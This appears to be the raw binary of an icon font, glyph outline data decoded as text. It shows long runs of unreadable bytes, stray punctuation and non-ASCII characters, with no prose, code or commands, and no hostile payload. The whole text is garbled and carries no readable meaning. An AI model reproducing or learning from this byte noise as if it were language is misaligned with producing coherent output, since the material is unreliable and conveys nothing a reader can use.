8$     H a  %#&#"#"&546327674"#"&54>32>32'654.#"3:>76#2	(5R6(./

	BI%R6$0
	7

8Y1'6	*-GB-XA-$f
	P		M(?    1 F  &'67"'.>32&#">54'654#"'6767&547>.%$33(&Y;!:N3!#1	m;Ob/&KB%0**JMXCJ88*p^B	T:";'AUM'79DR;$cI)+!2        @ U  2#!"&5463>''3654'5.'.5463267&#"2726&'>7
1%D
'1$%8 c<)	.`H%3+U$"#!	1./6(	0 $5);F#.>	     h  2"&46'.'#&76763654'&"'6'.#0"1"#"'&3263277632327>76ΑΑ
 			,'Α	
<
<  l  %#"&#"''.#"#"'.5.'0547>7056'.'&7>327&47>3023232761<	("*
			
	
%(	/)

$7								
I$%I
	       n  2#!"&54636'.5#&76763654'&"'6'.#0"1"#"'&03263277632327>76Z

.	,'`	


<
<    
 #  7463!1#!>7>7>7>7  F1GE1YXF13/#"%!<H1FZ9f1F&4H)       G M S Y c  ?27777''''"'7&'7&'7&'7&547'67'67'67'6'7'7'5$"2654
-2=
@DC@=2--3=@DD@=3-
ʼbbbۄD@=3-		-3=AED@=3-	-3>@D  uuvvPmnn;bFEccEF      . 9  3#"3#"&=4>73	5>574&'&'37#6734'7[++)%6*C(

		0!
>2
1=t))5%)82i@E&(3.GA1. 
    
 X c u        462#"##"'"'"'#".5#"'67&'7&'&54>3267>761>32632632$2654.#"47327654#"&4&"326574.#"26574&"26574&"2657#"&5476326262632>74&#"32>6
	&N		 	 			" $6	$G'
-

 - 47)	1
	12M/?!FZ%"			 	 		 &3)-")R-_	 O- 				7!25$" &(Dt	!B6#
		 	 		 		 		 		 		 		.iH2>.VN*?$)        % 1  2"&42>54'#3#".546327&#"%35#5##33ΑΑ#7uF)- !"13II##$$$$Α7#
+ .! IfIj$##$#      =  2#!"&546354#"#"'&#"5654&"32756=6276323276.(%"&* \	
-  
 B F J N R V Z c g o s  %#/#/##&1'&'&?&5'&?&/&?2327674?677'///7'75'??'?
7CTA&{Z"$#;Fe[yjIP9@F+:
>NOU\_BX@)J3H,!6.CENd',# $&9a=/791=^:=D<>F=,DC/DJC("?$A      4  %#"'.5463232>5'654&#"327.#"'632(;%:tKxNOwJr588338+!)=	">(dAUpoV_:$

:%?PNNPON
     8}  h    #".54>32.54654&'&563254'&7254>54'&#0&'<54'.#"2#"&4>7>&'&5462#!"&54>3E
#!$:

 ,
	" !
	'
&	05}21N+'I.
/Y!!"0$


&(1N*%H0'fm)	        2"&46&762?7ΑΑr=s>Α]Yh?.
         2"&47#ΑΑ(UUΑε         . 6 >   %/&?6''&766'&7.7627&76"&4626&'.>;4'>4&5'676&'&.'&7&'">374'&"417670.#636=4'#&'6767-

	N
!	)!
ΑO
	
		2
'	/].('
		
	
	$7ΑΑ
%	 	;	3		
!5
n*%#      X  %&5>56'4.'57#.+"72>73#.'&#;2>7
h	
X	C-Yd<Hr~		KI'	$          " 3 C Q [  2#!"&54635#35#&'#353732326'454'.#"+54.#"5#3732'#52#"&5432L!++(
.
		uU`[<)UUWW*


c$	
*
\1T!*      , 1 : G p  '"#"&'*#./&'767676767667./"'.'&>54&#">&6?6'6873		Fm	 D)#
!{
)S70;qPJ6I;J$	0_3@!-
"!
	$m>!4DUB4A%"2(9f-N4J)l^8Pr1N 	'      7 \  2#!"&54636&'.14"&'&'."04&'&7676&"&306/.>1276a,8''88'*$	
/	$|%Q)%/,'88''8IQ&/)
HQ&
/)       7&7>7>6&'&6W?_E#ZZ#W?`E04P<'D,P<;ZW>VFe	W=WFe	;X"@'<WN            # '   "&4624&"26%'#'#7'7''7' ԖvW%W/213DEDm77*ԖԖ \%W%R^ddk
|D7        ' 0 = D M m    6&76'&'&76.76$&'&>.6766&'&>7'&6&6.''0&'&'.67&67>6.'&6'&'"'&#&'&'&767>7667>763266.6a
	?
1m

+
T		FE&#'f*3T^(+	
		)		%	,P				L
9	

<	w!K$2?#J2$ A5
@`
b"k
F
"K
	S       - = M  2#"&#"##"&=&54622763232672#!"&54634&#!"3!26S('#"&<j\,
	\r\	    ) 4 E  %&?'>.#"'6?'.?6176&"&463227.547
)*'1''#.L+3 D:j-*'FA6!!(/z $>-'<2#' V.=Q C*('A&5*'8.     1 S  %01#547>73&'.623632&7.#.#&5&7067672?B.,]rvy3
::q
z		;9v*)"%txBy+	/	L""6
J4       A X |    2#!"&546367676'.6'<.'&67>4&*#"#"&63!22654*#".6767626325'&'&7>0&".5&7676;';1C#@=		73				*	 )-4	%#	5E&|
'!"			ZG	22!.;32H-"      &>#"&'>76MU,MU,!I}J=l&5V$7k4!bj4 ^K~J4-F13!T      " 4 E M  2"&46'&'"?2#!"&546337632=4&+"767676/&"264&"J44J4)###-T
BiJJiJ	4J44J$C##J#U-	JiJJi     3 I  2"#"'&=#".5<>7>754.#"&'&'&76532a_@5X"0
D(V
LE(I?		&	7k
  0N   G V _ c f      %777'77?'7&7>721?6?77?7?''&"76?6&2>77'/???>761?6'7?7''7#''767676'&76767?&'&#7'###"@/  x$!%
'%A$$%%6 	K
:(		;
( 9
&		' +"%	)&p"?qsvPSxx$&" (uoV\>
&	B<	&(Mzfh?B) +.N--+$'%' *(?BO@		
&     " 7 ? K  7>32#"&46;7'&>.?6732+&'.'&67&2"&44&#"326 	W?		4BF5		2ΑΑYZ~YZ~G	s$	"	+"	V%	ΑgZ~YZ~        2 G  2#!"&54637&676&+76.'.#"3!264&+&'>/O>V		A34+	3`!=#rJ$X!    	   V  ! , A M a n     7254#"#47632#7##"&5462654&#"733>32#"&'##74&#"32673>32#"&'##74&#"326747632#32653#"'&7454&#"733632#454&#"#*&	%,
''
Z&	'Q:&
	'Q	5! L&
#&M]'	#
'		L0_	%(
	FlO	%(
	Fl# 
	3		.		D     A / 7  %#'#7'#7&74767676&'&>67'?If.!$!e"E*;f!1+2I:rkrTWZ`6M&Of!$!nG
5%"37)*= 
!.SN,2.'7!9z5       * +  %%57.#>32632&#"'>32'.@~6D[5#B5#<<#."4)MM)1166ȀG8*2)1110o?II?DAT      0  2#!"&7>37/>16./'7'67"91"91_g	E:4)s)))4)w
qd0=@n   1 > f     7#*&'#"1&7&6256&"#&47>323226765&#&/&5"54;67636763:'#/'"'&=47>'.'.5&632#.#"#"#"&'&6;26766&&7>&7
),(V
2
$!!%4!! !	
#	
'		3CK7=F4/
	I4&
	"
e	"
	#h&)G2#1			M     # 4  2#!"&546354&+"#5#353;26'+".=46;2@(@@@@9@(@..#*('K#'(H     ? R g   "&4626'7'&'7'&/022130"''&1377676'6".#727&".'72Α=%	#
"3(9	





	'ΑΑ*-+,-	3H	-,--	-6<	Q6     ) 5 O  62'&"..7>7&67>'&6'"&=462746#"&=4632>NGI?>i`bUT
	
OR^			GE11E%"!%}CG=:e`
	TQ

]1		H		

G0++0G

!1! 2        s    ! ) 2 :  +73272+72+732+7%2+72+72+7"&GD~!%FIFGFFF(	FFyFFKYY1Y1Y61Y	1Y61Y        > `  7>232"'.2"'.76#"'&'&'&'&547>76 '&'.'&54'&'&'"76767>	
9C)	04
I!V"2+%v	
X	
 .:G S   & 6 G  %"'.'.567>7>3%327654'&#">'.#"?
";	- '48%(,
	--.$	CB
TM%
3%-L^
#5)22	
             # ' + / 3 7 ; ? C  3#75#73#75#73#75#3#75#73#75#73#75#3#75#73#75#73#xpxpxpxpxpxpxpxpppxppxpp(ppxppxpp(ppxppx        #  $.>.7>7>76.'6L)5!)58Gs8	K8/fYH+H5K;+35!*5!P~F@e$>]4m"C2.
)u;      ' /  6"&4767&#"&546326&&2"&4264&">L

$'7L5-'UI^^^&X

8*	6N"q߃^^^     M 
    %#"&462'""&54632654632L'"22E1T".0G12"#)5##--&1F11-#".."#5)#"21F1     q ) X h u    7#"&=46;;2>=4#67>76#'&77>76/6.'&.&677&'#"&=46;2'"=4;2#754;2+"+"&=46;21/	.*75/62
G2$q%;Q9,
7$>4R60 
&>(D(

(		}


				p(		,5+Y1+9%">,%)&".#@/	4C3

93$
(

(
(


			T       2 S ^ w   7+76;26'&++76;2";2#"&7>;#72+".>;+";2?6+"&?%2#7632+"&576&++"&?3+"&?>;2+76;2?6+" 	#%	


 (90#	:	$		IB
	/5!	_%(#4"c#!(	@bJ(        !'#31/#?#7#{p651cbost44<//.=&J2      %#"&4632.#"32>XA#_5gg5_#A6*>>*&R#&+Α+&#R>T>    * . y   &767676.'&'&76'&'&0&'&0&&'&1.'241676727"#00'671327>7213"767676'&'4.501&'&'&76767632767617'"#7&'0'"'"#.76&'.'&'&'4'.'&7:30236'45"37>'&'6%&'6&74&5&'&5&76767&'&'&'&7671676'&'6'&272637'67'676&'&67&'67.4>56'&'&"#>767&R	"8		
 %	"))

,H+#	)%
   	!0	
			

	
"	
	
  
		"
 	|
]);%

$X-.-			V
	15+*!$% 

		
!




	
	          . : J Z  3#5'.546762654&#"'3#5'.546762654.#"%!"3!2654&'2#!"&5463~44-.@
44.-@	D&&&&8	&'	:
'	:
   & && &    G L  767>454'.'37#73'##".5&#".7547;2254'326&O
	4"wZJ![!&RT&6
@$@&
	3+7	

#/

)$J      " '  53'3#%#512>'.'&#4>1#53WJ>>Bj<3P-7]<`6[v@8S__"JJ=@v[6`<]7-Q2<jBS_         % ]  $#".54>32"2"&4%&'!"&5463!24&/.+.67'"367./17672>7)
s(:=XI
	
 ,h+.#%(
"S+!
5390Z$KO$


	    
   2+4546264&"7\\Z5KKjKR[KjKK5!K         #53+32&+3250`ӽ__q ~ Td   
      - 1 5 9 =  %#535#5#5'#53#5'#"'.7!27&6?6%#53#53#5'#5^BBBBZBBWC)vn8	%+BBBB;==;;H<<<<d	.ciB!Z':
$;;;;;;H<<      / 2 : I  %5!6767>'.#"&76767>357$4&"23676&/&'YH0!"!H)("M["/'sZ&
	#0
162R@]R/"*4	.>>XA76bD!3$4=B         # ) 1 A I  7>77&'6>7&7&504576&'67&&7#!"&5463!24&"2Z(C2!@. KE.##DI'-(	2'4/0`@^^^3$,K+% 	71	$(4:".d %0`^^^         32+532654&+#rE> <_:V_dQk@F?[*P@&@a?@`7     $ ,      >2&&#&676.2#".54&2"&4'3237.670>636"'&5"5&?"1"&46323&''&676767.'547>3>367.>>2'%6.67>4.'&""232>7&'&7>9
			

	N5j!@
	--H b9"
$-	6*"(	'G	3	(#	H

l						h

	


]
	(	.%			O
1				U.
O           #2#>%13#67'.5!456WANdE#-3
TQ `AWGDuOqS	.%$/	k"/0ijY_  *   %##5#5354>32#"3KdQQ7$$

(Y]F(8O<     ' B  2'&*#"&5<&<.'&54>6&"/&#"?62327i`L
N'B\O
:
I
O
:
hT{-		Fl3Z?%;,t<,         #  ###5353533##5353##5!###@Z@ @@@Z       ) < K  73##576=4+53546324&#"#576=4/73''7'73733r]M;	&55*/E

!	n
*+
&&3"#
32.*
 "		(9-

-%
&&      Q  72+"=4;2+"=437010101010"01"101"1110101#0**1#*1"#"*#"#0"1*#"#*#0*&*1&#"#*1&#*#&'05&'4.#04'.5.14"5&'014&5&4&4&4&5'"&</0&1&54'4&'45"41&54&<&41&5<&<&504'41'041&5041<545&504145041<'45<547676767676767676320154+"#54+"#54+"#54#563232=4#"#"&#"5654""#54+"#54+"#54+"54667676.;ed<.*33+
	
(,,(4444}AOVSOA

H1ZH	LL	  	  (  >.'&7667"&54>32&760m5	%#01}~~:c;4/	
	M`5m	#%%1U
	19YY;c:!4  H l w   5'.54765&'.546765.547.=46723>54&'&765>54'&76"32642>54&"6ss
b5T1E9
4>N>dd>N>4
&8 iQ@i=


	J15tt51
-1d|hDc8Dr 
g>Eo\	
 	
\pE=g
@S-Vh|JrC0-

"	
     "  %2#"&54632&"327572&+5DDg]\[A?&nNN74&%34vR\]B?'NpN$"q50*Y        L  '.7>327#!"&5463!245#"'.#"7670703'&'4+76,*,!!!!P!v(&4
<4.!#O!C%!5 *-"O!!P!!"(*$:<, 
 
    c 0 ?  732327676564/.'47>32753.'&"67>'.+
5'*27"3L+	O;2,f%IE+D"(A"<-0	1'* #'Q;% 7@="EA1QU.8@          %3!!'S6Q!SQ     	    %'%	&54'77E<AA<ݡ  
(
"@@<   @ * Q  74654'.54>54'71"&5>54'#".5470>54/pO,+!(!C 	D8* >105,9)6CF-4,	 *
P  ~ & - O V d #0  67&'6?#64>4'&'.'&'4.77&"&576&'&'.77>2"'&'&637#"'&'.'&6?654&'&'.54746165>'&767674765&'.#'763263&67067>367632"22#66763267&#""67>76%2726767&'&#"&'&#667676;2&'67&76767>54/0&5&'&7676'&'&#"767&'&"'&'&#"45673&?67&'&'"276'&+"767#7>'12'"&/327"'&'&63=.%		n	%.? 	

(/((/	
#	

	(				1		t

	
& T  &	(=5	f>v
	F<)1
		+			


+			4

		e
%(--$#
			
			
			

#1		+
30+..+-3
!		!	*+9	0@@<+*	

	         7#".5/267#"527654&654#"0#"76746767476'&#"47>76'&#"#"7676'0#&327717670767464676767676767"./3276732767>54&#"'&7>7632'.7&54632?64'"=32%i
	
+-*		
	
ttD0=9
DF9P	P
	@					!	_P	
	
 


1@<)            2#!"&54637#.'#3Q#	%P`6-/0"g        !.'>72&#&'.=4>76&#"#"&#"0+".5&54>16&#"#"&#""3262324'&'.46546;23262'')N		n$p$(&s)k		1Fe

	::	
eF1			+		+	    $  >&''&'&'&67>./O: # &o"*>$!	
	THN(_-.R&`J7-#AM<g*:1*!<   6 A  %'#"&462675&5462#"'"'&46327&542654.#"+
'/?L6,#2"2e9)(s+_=>I06L2"2",8}()9     5 E Q  2"&4654""7676547676762+"&=4632>4.#"ede	r
X	/+<<++<<+y4Y33Y4Pqqpeee

	q"	4<++<<++<d4XiX4qq   =  %'.7>767>5&540'.7>767676763636~*& <,
43&#7Jc<
 	+Sl   L c s        27PZg  %!&'45.'&>767656.'&'&'.7>74.5&7>7676>367>7>72>5&626.5&6'6&'&'7676'&'.&>.'.'&'&7>36'4&'&6'>7'"76'&'465.'30'&'&'".4173&'"7<5&#>7<5"'&'&7>7&#&'342;&76'4.'.'636>&&>7&721&'&7&72>>7>.'.56'.'.#".7&6&7>7&'.'&'&36
Z
. 	
%g4		k*"	6#-6, 	
FC
	
e"*)=	
9$S
		#	
`$!%*!
8/V%	 %!
		
-?	(|0

	"^4	F$'?^2
	!%
			!)

	 ;
/		
 
& 	Z
)/
#
		D	'	
			$(
	
    " > [  .7>3267"1326'6&'&>76767>320676zX/lȯ/6#q?FpG3C		7a3	57K/+&F-)
!

."3	?6ȯ/lW8>
6>u".)KEP&/ 	
6	"	!         6  !!75##"'3262654&/.54>327&#"#"'@*"-"c'
	
!)"
		
"@c'  
	" 0
	+       B  2#!"&54635##"'3262654&/.54>327&#"#"'*"-"c'
	
!)"
		
"`'  
	" 0
	+        . D \ h u v  ?7'&'2#"&546%016"'&7'676'%&767''&>%2#"'&'&'67&54>2.7>3'654&'7@<1N/'	1;C3$)z/	
-?.'.r?1N/'1;C3)	;H^uHQJ "":';B		 +#'17D5		02J*(}1
,;,&18D5	$'<A+'i]uI];6Fw$44#!!0     2  !"&5463!24.#"326=7>/76&'&`

	<
!1(&, `.	*L
?:

@      7>&/#"&54>32SFK[>p( $'" )NGv 5ks6L**/%$*   	  S W ] r x }     "01*#0&1"1'&547450346257622031754506105350>1762001310%7?5'1&10&10'1&<15/?'575/?'75]a`P`axQQP".!/\/"u;P\T-."/)QQPXQ"/Ln5iooJ77.i77b.//\4C".511[K\[[V....[   % 6 R b x  %+"/+"=4;254;2#2+"=432+"&=4;272+32+32+"=437#!"&5463!24&"67>76! R-.0""/0""/>_`N;
.9"G,*G,*GG<G9<GW"/0""/06NN61J,'      u 	 * H  3'&5%3".=4&3#'546323#%53'57670&'&=325N,/''<*%8M*#&( -Mo+
'"
M/MM'+<.#MM(6F
4q      	   ''7'7@@ ?__? @ $ \\ % \ $ 77 $    @ 2 : B t  7>3>32"".''&/*.7#"4;2#"4;27&767>54&"&'&'&'.54>32v


		

(XXKhK	+J+B^. A		  @  
,1(3HH3(1,	
'
/*G*[@/
     $  4/5373#576=##576'H-m_'&'l33	2	6%%&	>>	      +   + O  #"&54632>'&'&'66&'.732+"+"=4+"=4;2=4;2rnSggS:&./.7&"* b1j((0((0gg);B^B/	)1-r+&U#* n0((0((            3#73#3#73#      !&=4&"&=4.&5,,*+$ ,,t        $  2"&454&"6754&"6324&"ΑΑ"!""/Α =          %3#"&'357#&5462#5'`lAR,Bq!lhhKΑK@$6A7iiP')gg)'П     6 G \ h  %&'7&"&'>='6267&"6267.'&47>330#'236"'&'.4"'6?7**h+&$:FF:$'

,d,

0>>,,>VcU?,,	#:
$
4&&J	

-F%$G-
 -EEEg:T&&U;g(5{    ; j  "/&7676?6=4/&6=4;2#"/&=4?67#"54;23254.'.54632+"'.#"	>
/200,b#7",(V0).&<%jjjkkk!D
@
	      @@      %  %#53%!#5#5#35337#3537#3533533    @  @@@    @@   `` ````      7G 	 D N W  3#'#73%'.'&5#7327676&+"&7676763#";2675&66'67676&'&-093-117)O%X
	
X!=	=%&i1	%
	 jjrs6&'	($ 	$#*h
     7 F N V ^ f n v ~        :4>'4>7"&.'."'&5476324&"264&"264&"24&"264&"264&"24&"264&"264&"24&"264&"264&"27&'&"62X
	
#549 BB (B^^B(XXX(>>	O	
	!(;O5005OBB11BSStSStSStSSD'  (  
   	     # / 9 A T  "&463235#737'2#547#'35##5##5##54#"35'5'57'#353#"&7'326ggΕ`o)F9{!8)EDEDD$	
8Α ?.
471M/:HJ0!!gV

	,    8 
 3 m  %#"'67>454676765&5654&.3276'&#"'4>;>3735467;23232+!".='#"&'6) &.^O8		,9

Vb
		&:/I^,5(<[:4%HR		K
		
        
   %#"&46323 lLLllLLl ZLllmm       " 5  #"&'&546322>54&#"#".672654'6r<R'(F S{VSS=>/mKPn/?@B-$9%%B&?WSn	+?*mTX~9Qf(PttP(fQ9,A$5A	;    ! , A I  %#'#//75'737573724&3>7"'&'&476762564&"C					
-	^88)8? 88Y~ZZ~Y	 !					.0_87*80?!87YZ~YY   	   F M l        7&'.'&'&"#67>3021'.'&70703'.'&167&'&'57>01&'&76"45."&'&74"'50>767>0&'01&"'&167>76'0'27:63231'&'.'&'6160&'&'61"Q
.		K"#8)'4		R?(&$
D"%#
F3*
%=C"'"
!	"	(	)!	$%\

		h744D	"//%	,
&0		



#	
			i	
   @  ( ;  %57>'&5676'54'&'.7>??;
	͗
e%'E=^6L;/= 		a
.PLI66	#8U
<97*l	#/6#	1       ( -  &'&67%6'76&7'&>7'6/##i
at	S	jZPQ\-!1(7	=	      % G V  %+3'&=46;26=32"32>54'"#"&'&7>;5#54>76#'2>4.#"	k5656 k(((	%$k38r		?.)&&f )0	167)
			f 	
         /  2#!"&5463&63265#"265265#"26=&6a'88''88'2	8

	8''88''8	

8	       U  2"&46#"#"3232#*#"&7676#*#"&767676&#*#"32327656323276ΑΑ	|	<	5
'	#.[A	Α		F5	B?F+E&     ! @ G Q [  #"&=46;2'&#"#'#35>32#"&'365654'&'&'&#"32767&#>33264&#"3264&#"@5KK55KK	$
	x		S


 #"(3\







 K55KK55KZ
F%%"'fx    	 % (  %'762#"/7/7676/&'&>&5(BDrBfE:0
]$#
0"-{&9b6'BsCf#P%"
!)%0@Sk>F    A # : E P [  '.'>'.676&/>6264&"0676?32'"&'46746."&'46,..,7=!L>(
(?K!>_4+,n"#<!#"#TPQP$ 
	#2>F:
WzWW=5),7q!          2"&4'616/&"37#"ΑΑeJ
"
ZUTKpΑw(cc)      x         # ' + / 3 7 ; ?  '77'7'7'7'777'?'7'?'/7'77?^6JN ."7Z %#	8	8<+!)#+.|G7-+3=5PCBY".',";##B1 "
&		/)@
H96`-2WB        @ D  57'.546 '0'.'&/?>54&'514"D66&/$:MO<)	&,$-5+7(&,>҃s|57"';6[<<ZX,
&1	:%*>4*9 0*
(
<           7!>'#.'6X-~wx2M)ps^`	5EE"9m<Me>`L-T?-Q        '#"&462264&".<Dbbb jKLiL&cccF7,LlLLl     M Q  %&/&/'"&'&>?''"&'&>?'&>767'&67676767'-^	4-5
-]
-	.-
^]// .
0

Z
/
///Z9 Z      7  7&>&7&'&'"'3>56'.54>32@<
w	C
!,z'/)7/("2 /8Bw	<	+)+&$
*!	"&
   =  %/&?6?6/&/&?67/&6/&?6,	-]TD:4-\_92+	*"JRA,V$H\7'*       2 >   "&462##"./567>324&#"'.'3264&#"32$3##3XC/m1!:aGB/5$&%, $- (3##3$>/CO!,
k'e/B54%
&&	"?,#-  A     %'"'<.'.'.01"'&76&*'&'&'&656&7>4645&>'"'.'&0#"'&'46'.'&54'&7>5&"5.6'.767>67>7>7>23>32307>302			+%
	>59	,	N			 	'*
	
$$+-

,	$*!

			     2  637??7'7''''/'7'?'8P
C]8Y9}Rsf|1.+l&
,ND&@'$J.3D6
{l&Jc&Tz8a	%   Ea   @ N Z a m t      %#"'232654'%.54632&#73254.54632#54#"#"&'73"&=3255#532+53254+5#532+53254+54+532;2=3+"75#532#54+3#;2=3+"7#53##7373#5#'#ApC#$e3.53.5e%"
e<			v$"'9'9		%?4'; 6J5+#1,"10EJ]

	
		
M777H+HH+?=>		?	U    /#?6'&'&67%6Dg2
f]"L0
i       (  2#!"&5463>'."354;2+"=#pGNhN^DD^|W84FF4D8         '575'7''7XeW"XVY@ -uKK:55/7           # ' + / 3 9 = A E I O S W ] c k o  "'3'#4=3#&'7#&'7#57#57#5#5#57#5#5673'5353'53'3#&'!5353&'!'673'53#4=3v0ggbnfgggggggggggggibgggggggg%gggS
ttVggg  F	#E#EhE

#

%JMgs%	R"   y - I n  '.'&?6?>76367'432'&5676322'&'&#&56/&'&74>764	5"

	%	%;
!&	7"





"		  	    	 }       7#&'&761'''''#'&'7&'7&'7&'7&'7&'7&545'767'67'67'67'67'67'6?27777774&"26"&462654'&5'654'&5654'&5&=#+&'#&'#.'1#.547&+'&54704&5232673275#327.'&,+-"%$"-+3378:;	7;	16(."".(61	;8	<:883JghhOYYY|
)

						

>k
" %$'&&&&'
#%"	
,'
84
A?GFHHFG?A
48',!hhg~ZZ~Zy

Zp@$

!eB       ; Q  >;2=4632+""&5&54.+"&=4>2;2"'4.5&6327632	c 	
!"de"!
	 c	$11		CC		a3

	
% 	


	 %

UUvv     3 Z e s    #'"'.5'7#.767>;6&'.'*?>72>'"5&'"&636&'"&63&&54&#"432'.'&'&'./&6762?6!"J%	
	
$	0d$#4U 
I,-)0)
(D@+(%*//E4:L
?

		

}\&

	4 " m0Nm([)/)#OO
#f 8!,4&	;CK"


			
       2  2#!"&54636'&6'&'&6323276L2C!	%.B@f@N		 *h8/>4VR     `  , U   7"&/.>;2326?>;2#!"&/&;2326?>;2#'2+"./&#"+"&?>3i7!$$!	8

h8!$%!	7

8
!%%!
8		`pKK	p
pKK	p
pKK	p
        B R a  2#"/7'&546'&'&'&'.'&>76'.'&'"#"07>2#!"&54632654'&"7m'(N7$2			

eB^0.]T#E'(56M0 &7o


	`]A@1.]A+%R      / :   ''#/'7''7/5?'77'7?3772>54&"''#/'7''7/5?'77'7?3/3267;?3?'	

w"/!!`/7'6''*$%7&66'5%$*$/>,%:			B!!/!(#&4(66'2#&)'$4'4.:&+>/#        @ J  2"&427&/7654'&54632&#"23767/"&63376>54'ΑΑE9k&$DC?P@W&G9<		R0"%<		D3<ΑgAl$+	GJ6 #;-_		f=92%+       + A Q  %'&'.547>''&'&'&7>7>576'&'67632%'76"&'".rG;14;3Y6TZ!	69`+#	?y2
1)W $	!/_0RmU-	2G)" 		1A<"Rx(@
	
         7#7&546;#5#";W@`KU@R7&2X&gMT 8;m    .   533p8R^4y@*  <D  / ; C \ g y  '&7670#1#"&#"#'.7672326732+#73264&#"&54?54#"#4>32#5#'26="#532?'3373u
nI%*#6&"n3$#5	"!
9#$BM%&a	J	ss    @    ' D P j |   +534?#"7#!"&5463!276'&5&7&'&#"&#3262327674&+3532>4.#"363232737##'##"#3267.M @
		
>




3Z
&			f$77Z
`
W	(	B/
	cQQc  l  ' . 8  71#"&767672#&'.'&763276&'6" 

_3+3U*'(%+}"
3>Acf5</x1.BAa-F29H7.^J'Gyd    ; ` k o      "$'  "/&7672?6=4/&6=4;2#"/&=4?67#"54;23254'&5432+"5&#"7#"&4624"7#&54+#5322&4+3%/&=4/&"&=4?6;2%/&=4?6=4641'"#"357057&=4/&/&=4?6721200#'"=0/&=4?6'3'<::9:::+7	%$=>O===%.$>%===Q=>==KL!B!!B	BB	B!!B!B	)
_,		,_$$d$$G#	^##G$$*##F$$6    - V  7>76'&'&767654&'&'&'.4&707676'&7>7676'.zZfVR%&-X+C;0-@(7!5
cRrcv`Y!FE'*#+
FF"U
8b:;8 0

/-;:.IX[x
}      < J R Z q y           &'&''.767&'.546767&'&67667>'676&'&&'&'67673276767&'&'&"67&'767&''6&'6767&1.67&'67&'&'76767#"'6'&'767>54&'&'2&"&462*47-;!!?	+52*			@"!;
!"0
'	

.
		
_"!4%


#*'z""2!##	',#

}&&),0$>*		,*	*?C-R'6
JF
A
aN3$
"! d	$10." 
!! &&        
    #'##73'#'%'7>MxNyT)A<
 QQ	88	       7I ) P      %+5352>54&5475&54654&+532#"'73254'&'&54>32&#"23#"=#";#"&54654#5654&546;7#"'73254'&'&54>32&#"'2#327#".5&634#"ej+"*		
+

K+	!*		 #_##-9
!			!
  
"	!*"	<"6	"	 
"
!		";"	D+!#
&%.B          %72'47>&'&'&767&'&''&7676767&'&'5#"&?#"'.7671'.7676727.'&67676'.'&767>'.24767>2630>201276705076767>563206767632266'0"676'&2>65417654'.)1%#


	

	
	<M	-# !9^Bw
;/%H
-HWhK"1:!
'$r 	
"p[	EW,
$
 	"( 		%>%$& )75"*)V	Z""#'+		
V
		:
			"-&j32
           337#'e[08ਨ6rrYY           ?''373&&&  R0n\\Jbb$BB   	   X(  	    0 D    7'##7'3'373537#5#53".46767624.'&"27>"&5475"4753#5##5353#5##535&/3#5##535'"475'"&5475'&5&5'43>?##7#'#077'373'k4>>>']>--)d


			
				
	W


P

&	&
	P

YAA?>@@Y**c+<``ttt%

		%D		
))
Q((+  yy     %'.'5#.='./&/'.?#+'&6?#'.5'"&'&'&'&4?673676720326?>7>;67>2?>026?67>?6766>?4567>72>?>7>3>?>6?67>'&%>'&>./.677>/&
			:	
		
	
0	
	


	

d
	
:		

 
		 "
6	
	$-5:/


-=(	%1%

m7
,
	"	     .  %#"&#"##"&5&54622>32326327%H2B"/"%P
C	YNw""   p      7#3#3#3#5B22e332~BLLL  
   L)  	    ? G     7573'7$"&546253#57'+'.45454>;654"2'#''.4547&'632&'54#"'&'#5.6?>767>36'7&54"2&&)6:::Y 	 k 	#A!	
:2)@& .`
xnnw		Z((T	 6^1J	
'9((    y    #'#!3'3Y>>Y.CoqD-ttX   	   <D    > R Y h s w  3#267#"&=6&#5375#"'53254.54632&#"#327#".5463234&#"'2#"'5362654&#"53""	
,&_,!SW  %"X.	
q$#,'	r,/&&?	
"*	)g;$
$^	(
*+		!$#..3+%((2
{B	!     v "  #"&'53254.54632&#"!090 l\"[TH7 090 iXLBDJ1%;(KO.#8%KV$       #  327#".547>772#".546)3&R$Y;	:F${%%rYW@<O~44'X8,=E   r . [ q   9  7632367>76"+"#&#&'&'.'4'231'&'1#"#&50=46;230>76700137654'&'&723230#"#"'4'"'&'&767621450454&'&5<547676362<=4#"&'"#"76760"&747676'4'&'&""+"5&1476767632'00?4656;2'"'&5<:232767>76'&'&5&3232=B  ((#_!+9%&)'"U
		"
+!		,	
#	
		
##$	{	3I)**(
j		



	"	udZY
	
IH5   @  ( 8 r  7  70=476'"'&.7676232#%#!"&5463!2#0&#"376767674#0"1"45.'&'&#"#"6761323250=4'&'&'"&+"176760"1&'&'323254=01767656'&'"'+01054&5&+"&'&'&'&'&230;21676767676&7&'&'&32376213676767674}	" $
		'~%
					AH((926D # /$.

$#

`,	Y2eT
<j	Y	T<
	0

  8    %'7'8]]\          2#!"&546337#53'#35####Qo>BvX`###G#Wttr            2#!"&54635#35#75#75#		l		(xxxxx	l			((P((P((      2  7%#!"&5463!24'&'.+";2767>5__`*GrGr66`;,<,         !!5!3535@fYZ@YYZ       x  / [ n z   +"=4;2+"&=6/"+"54;2632##"'&=463276/&'&76322'&"'2#"'+"=4>2654.#"&2"&4))`
))$	$!5 &!+:.?@-!)# $$$"#	{Q#"
-
i?[?Y+	%%3%    i   . ? f {    "264%2".54>6<.*#:>732"#73262#67>'.*##%64.*#:>732""#WVVV);GR:
x!G 
	%			
%
% x!G 	
	X[z[[zk-M\M--M.,$ 	Ge6,-	"`?	Gd6,       '  #"#"&462&'6.#"3762"&4:
"#eˏ	*?"B]+I+%R::R:

ˏf3."A0]A+I+:R::R   @ ! - 9 E Q ] i  +""'.+"&=46;2>354+";2=4+";2=4+";254+";2=4+";2=4+";2ZI>=2Z$88$#(.##.@@v@@   ' = O h v    %'&767>;0?'.67>'07>&'&766'&'"6766'&'&7672"67>/07'&76>?'&'67'&767Of9(
)%)RM`	0%
Rw %	=eC
!/0'G22+!).46EF$&S4(	YK$	
B	
	
(27@" 

G2##<	
-
	Z
		       G  1&7>01'&".54327>3270>7>"$&',5+:3'<#5	)bBU!1&A5f7
"2B
	7 	`	fX1!"4(         -  %##5#546;2'42"72#"&546"32>54&;M
ffEE#idfjVuwT4]:vfxxf
9##"hkge-zQSx2^;Uv        ) B  2#"&54632>7'#5"'774'&7">753&654'&idfVxS/"]')""=j@_$" #	0-;;ikfe$Sw)&&"
]+''"9V:<       1 3 M  2#"&5462>741'#327#"&'#53<5#53'7#7654&#"67632&#"3i0>J&fj!<%"
[8
%-GAxCNvUl>Q&:"!Fi+N<,fe=#82.50		#Sx<Uv]$	*0
	       ! % :  2#"&54627'##5#535'#53'7'7654&#"'3733idfjlDR@=@@:	x7@evU :*QB(+B?&hkfe=c$$88''8 Sx3-Uv$3V
